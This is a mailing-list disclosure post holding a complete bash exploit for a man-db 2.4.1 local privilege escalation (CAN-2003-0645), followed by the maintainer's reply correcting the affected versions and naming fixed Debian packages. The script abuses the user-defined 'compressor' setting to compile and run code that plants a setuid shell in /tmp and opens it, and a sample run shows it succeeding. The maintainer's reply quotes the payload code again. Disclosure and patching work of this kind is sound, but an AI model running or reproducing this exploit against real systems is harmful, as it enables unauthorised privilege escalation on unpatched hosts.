Onderwerp: man-db[v2.4.1-]: open_cat_stream() privileged call exploit.

#!/bin/bash
# xmandb.sh: shell command file.
#
# man-db[v2.4.1-]: local uid=man exploit.
# by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)
#
# open_cat_stream() privileged call exploit.
#
# i've been conversing with the new man-db maintainer, and after the
# initial post sent to bugtraq(which i forgot to inform him), i sent him
# an email highlighting another vulnerability i forgot to mention in the
# original BID(http://www.securityfocus.com/bid/8303).
#
# once he checked it out, he noticed that the routine never dropped
# privileges before/after the potential buffer/elemental overflow occured,
# and executed the (user defined) "compressor" binary. making it
# pointless to exploit this via the overflow method, and all-purpose to
# exploit this via the privileged execve() call method.
#
# best of luck to the new maintainer(Colin Watson<cjwatson@debian.org>),
# he noticed it before i did, so he's on the right track.
#
# example:
# [v9@localhost v9]$ id
# uid=500(v9) gid=500(v9) groups=500(v9)
# [v9@localhost v9]$ ./xmandb.sh
#[*] making fake manpage directories/files...
#[*] making runme, and mansh source files...
#[*] compiling runme source...
#[*] setting "compressor" to: /tmp/runme...
#[*] executing man-db/man...
#[*] cleaning up files...
#[*] success, entering shell.
# -rws--x--- 1 man v9 13963 Jun 13 20:09 /tmp/mansh
# sh-2.04$ id
# uid=15(man) gid=500(v9) groups=500(v9)
# sh-2.04$
#
# (tested on redhat7.1, from src, should work out of the box everywhere)

MANBIN=/usr/bin/man
MANDIR=man_x
TMPDIR=/tmp
echo "man-db[v2.4.1-]: local uid=man exploit."
echo -e "by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n"
if [ ! "`$MANBIN -V 2>/dev/null`" ]
then
echo "[!] \"$MANBIN\" does not appear to be man-db, failed."
exit
fi
umask 002
cd $TMPDIR
echo "[*] making fake manpage directories/files..."
mkdir $MANDIR ${MANDIR}/man1 ${MANDIR}/cat1
touch ${MANDIR}/man1/x.1
echo "[*] making runme, and mansh source files..."
cat <<EOF>runme.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc,char **argv){
setreuid(geteuid(),geteuid());
system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
unlink(argv[0]);
exit(0);
}
EOF
cat <<EOF>mansh.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setreuid(geteuid(),geteuid());
execl("/bin/sh","sh",0);
exit(0);
}
EOF
echo "[*] compiling runme source..."
cc runme.c -o runme
echo "[*] setting \"compressor\" to: ${TMPDIR}/runme..."
echo "DEFINE compressor ${TMPDIR}/runme">~/.manpath
echo "[*] executing man-db/man..."
$MANBIN -M ${TMPDIR}/$MANDIR -P /bin/true x 1>/dev/null 2>&1
echo "[*] cleaning up files..."
rm -rf $MANDIR mansh.c runme.c runme ~/.manpath
if test -u "${TMPDIR}/mansh"
then
echo "[*] success, entering shell."
ls -l ${TMPDIR}/mansh
${TMPDIR}/mansh
else
echo "[!] exploit failed."
rm -rf ${TMPDIR}/mansh
fi
exit

In article <20030806082358.2564.qmail@www.securityfocus.com>, Vade 79 wrote:
># man-db[v2.4.1-]: local uid=man exploit.

Correction: 2.3.12 (a beta release) and 2.3.18 to 2.4.1.

>echo "[*] making runme, and mansh source files..."
>cat <<EOF>runme.c
>#include <stdio.h>
>#include <stdlib.h>
>#include <unistd.h>
>#include <sys/types.h>
>#include <sys/stat.h>
>int main(int argc,char **argv){
> setreuid(geteuid(),geteuid());
> system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
> chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
> unlink(argv[0]);
> exit(0);
>}
>EOF
>cat <<EOF>mansh.c
>#include <stdio.h>
>#include <sys/types.h>
>#include <unistd.h>
>int main(){
> setreuid(geteuid(),geteuid());
> execl("/bin/sh","sh",0);
> exit(0);
>}
>EOF

It can be done with a lot less effort and in about a tenth of the space
without resorting to compiled code, but I'll leave that as an exercise
for the reader ... :-)

Anyway, Debian man-db 2.3.20-18.woody.2 (stable) and 2.4.1-12 (unstable)
fix this. I'm working to release 2.4.2 as well. This is CAN-2003-0645.

--
Colin Watson [cjwatson@debian.org]